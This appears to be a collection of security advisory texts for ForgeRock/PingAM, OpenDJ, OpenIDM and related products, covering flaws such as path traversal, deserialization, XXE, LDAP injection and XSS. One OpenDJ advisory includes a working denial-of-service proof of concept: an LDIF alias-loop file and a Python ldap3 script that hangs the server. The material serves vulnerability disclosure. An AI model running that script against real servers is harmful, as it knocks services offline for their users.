Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in ForgeRock Access Management allows Authorization Bypass.

This issue affects access management: before 7.3.0, before 7.2.1, before 7.1.4, through 7.0.2.

Missing access control in ForgeRock Access Management 7.1.0 and earlier versions on all platforms allows remote unauthenticated attackers to hijack sessions, including potentially admin-level sessions. This issue affects: ForgeRock Access Management 7.1 versions prior to 7.1.1; 6.5 versions prior to 6.5.4; all previous versions.

ForgeRock Access Management (AM) before 7.0.2, when configured with Active Directory as the Identity Store, has an authentication-bypass issue.

In ForgeRock Access Management (AM) before 7.0.2, the SAML2 implementation allows XML injection, potentially enabling a fraudulent SAML 2.0 assertion.

When the LDAP connector is started with StartTLS configured, unauthenticated access is granted. This issue affects: all versions of the LDAP connector prior to 1.5.20.9. The LDAP connector is bundled with Identity Management (IDM) and Remote Connector Server (RCS)

Relative Path Traversal vulnerability in ForgeRock Access Management Web Policy Agent allows Authentication Bypass. This issue affects Access Management Web Policy Agent: all versions up to 5.10.1

Relative Path Traversal vulnerability in ForgeRock Access Management Java Policy Agent allows Authentication Bypass. This issue affects Access Management Java Policy Agent: all versions up to 5.10.1

Improper Authorization vulnerability in ForgeRock Inc. Access Management allows Authentication Bypass. This issue affects Access Management: from 6.5.0 through 7.2.0.

ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/ request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) found in versions of Java 8 or earlier

Summary A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.

Details An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.

PoC (Steps to Reproduce) 1. Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com 2. Import the attached exampledataaliasdos.ldif file into the LDAP database 3. Ensure that the ldap3 Python library is installed (pip install ldap3) 4. Run the attached Python script python opendjaliasdos.py, which searches for alias loops and executes the DoS attack 5. After executing the script, the server will stop responding to requests until it is restarted

Impact This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests: result: 80 Other (e.g., implementation specific) error text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVAERROR: Java Error occurred, recovery may not be possible.

exampledataaliasdos.ldif dn: dc=example,dc=com objectClass: top objectClass: domain dc: example

dn: ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: people description: All users

dn: ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: students description: All students

dn: uid=jd123,ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person mail: jd123@example.com sn: Doe cn: John Doe givenName: John uid: jd123

dn: ou=employees,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: employees description: All employees

dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com uid: jd123

dn: ou=researchers,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: researchers description: All reasearchers

dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com uid: jd123

opendjaliasdos.py Python import argparse

from ldap3 import Server, Connection, ALL, DEREFNEVER, DEREFALWAYS from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError

def connecttoldap(ip, port): try: server = Server(ip, port, getinfo=ALL) connection = Connection(server, autobind=True) return connection except (LDAPBindError, LDAPSocketOpenError) as e: print(f"Error connecting to LDAP server: {e}") return None

def findaliases(connection, basedn): try: searchfilter = "(objectClass=alias)" connection.search(basedn, searchfilter=searchfilter, dereferencealiases=DEREFNEVER, attributes=[""]) except Exception as e: print(f"Error during search: {e}")

aliases = {} for entry in connection.entries: entrydn = entry.entrydn entryalias = entry.aliasedObjectName.value aliases[entrydn] = entryalias

return aliases

def detectaliasloop(aliases): visited = set() path = set()

def dfs(alias): if alias in path: return alias if alias in visited: return None

path.add(alias) visited.add(alias)

aliasedtarget = aliases.get(alias) if aliasedtarget: result = dfs(aliasedtarget) if result: return result

path.remove(alias) return None

for alias in aliases: if alias not in visited: loopalias = dfs(alias) if loopalias: return loopalias

return None

def executedossearch(connection, loopingaliasdn): try: searchfilter = "(objectClass=)" connection.search(loopingaliasdn, searchfilter=searchfilter, dereferencealiases=DEREFALWAYS) except Exception as e: print(f"Error during search: {e}")

for entry in connection.entries: entrydn = entry.entrydn print(entrydn)

def main(): parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.") parser.addargument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.") parser.addargument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.") parser.addargument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.") args = parser.parseargs()

if not args.ip: args.ip = input("Please enter the IP address of the LDAP server: ")

if not args.port: while True: try: portinput = input("Please enter the port of the LDAP server: ") args.port = int(portinput) break except ValueError: print("Invalid input. Please enter a valid integer for the port.")

if not args.base: args.base = input("Please enter the base DN of the LDAP server: ")

connection = connecttoldap(args.ip, args.port) if connection: aliases = findaliases(connection, args.base) loopingaliasdn = detectaliasloop(aliases) if loopingaliasdn: executedossearch(connection, loopingaliasdn) print(f"DOS executed with alias: {loopingaliasdn}") else: print("No looping alias DN found!") connection.unbind()

if name == "main": main()

Summary If the "claimsparametersupported" parameter is activated, it is possible through the "oidc-claims-extension.groovy" script, to inject the value of choice into a claim contained in the idtoken or in the userinfo. Authorization function requests do not prevent a claims parameter containing a JSON file to be injected. This JSON file allows users to customize claims returned by the "idtoken" and "userinfo" files. This allows for a very wide range of vulnerabilities depending on how clients use claims. For example, if some clients rely on an email field to identify a user, users can choose to entera any email address, and therefore assume any chosen identity.

Unspecified methods in the RACF Connector component before 1.1.1.0 in ForgeRock OpenIDM and OpenICF improperly call the SearchControls constructor with returnObjFlag set to true, which allows remote attackers to execute arbitrary code via a crafted serialized Java object, aka LDAP entry poisoning.

CF CLI version prior to v6.45.0 (bosh release version 1.16.0) writes the client id and secret to its config file when the user authenticates with --client-credentials flag. A local authenticated malicious user with access to the CF CLI config file can act as that client, who is the owner of the leaked credentials.

XML External Entity (XXE) Vulnerability in /SSOPOST/metaAlias/%realm%/idpv2 in OpenAM - Access Management 10.1.0 allows remote attackers to read arbitrary files via the SAMLRequest parameter.

ForgeRock OpenAM before 13.5.1 allows LDAP injection via the Webfinger protocol. For example, an unauthenticated attacker can perform character-by-character retrieval of password hashes, or retrieve a session token or a private key.

Cleartext Transmission of Sensitive Information vulnerability in ForgeRock Inc. OpenIDM and Java Remote Connector Server (RCS) LDAP Connector on Windows, MacOS, Linux allows Remote Services with Stolen Credentials.This issue affects OpenIDM and Java Remote Connector Server (RCS): from 1.5.20.9 through 1.5.20.13.

An attacker can use the unrestricted LDAP queries to determine configuration entries

The REST APIs in ForgeRock AM before 5.5.0 include SSOToken IDs as part of the URL, which allows attackers to obtain sensitive information by finding an ID value in a log file.

It may be possible to gain some details of the deployment through a well-crafted attack. This may allow that data to be used to probe internal network services.

An Open-Redirect vulnerability exists in PingAM where well-crafted requests may cause improper validation of redirect URLs. This could allow an attacker to redirect end-users to malicious sites under their control, simplifying phishing attacks

Dashboards and progressiveProfileForms in ForgeRock Identity Manager before 7.0.0 are vulnerable to stored XSS. The vulnerability affects versions 6.5.0.4, 6.0.0.6.

Auth 2.0 Authorization Server of ForgeRock Access Management (OpenAM) 13.5.0-13.5.1 and Access Management (AM) 5.0.0-5.1.1 does not correctly validate redirecturi for some invalid requests, which allows attackers to execute a script in the user's browser via reflected XSS.

OAuth 2.0 Authorization Server of ForgeRock Access Management (OpenAM) 13.5.0-13.5.1 and Access Management (AM) 5.0.0-5.1.1 does not correctly validate redirecturi for some invalid requests, which allows attackers to perform phishing via an unvalidated redirect.

The Core Server in OpenAM 9.5.3 through 9.5.5, 10.0.0 through 10.0.2, 10.1.0-Xpress, and 11.0.0 through 11.0.2, when deployed on a multi-server network, allows remote authenticated users to cause a denial of service (infinite loop) via a crafted cookie in a request.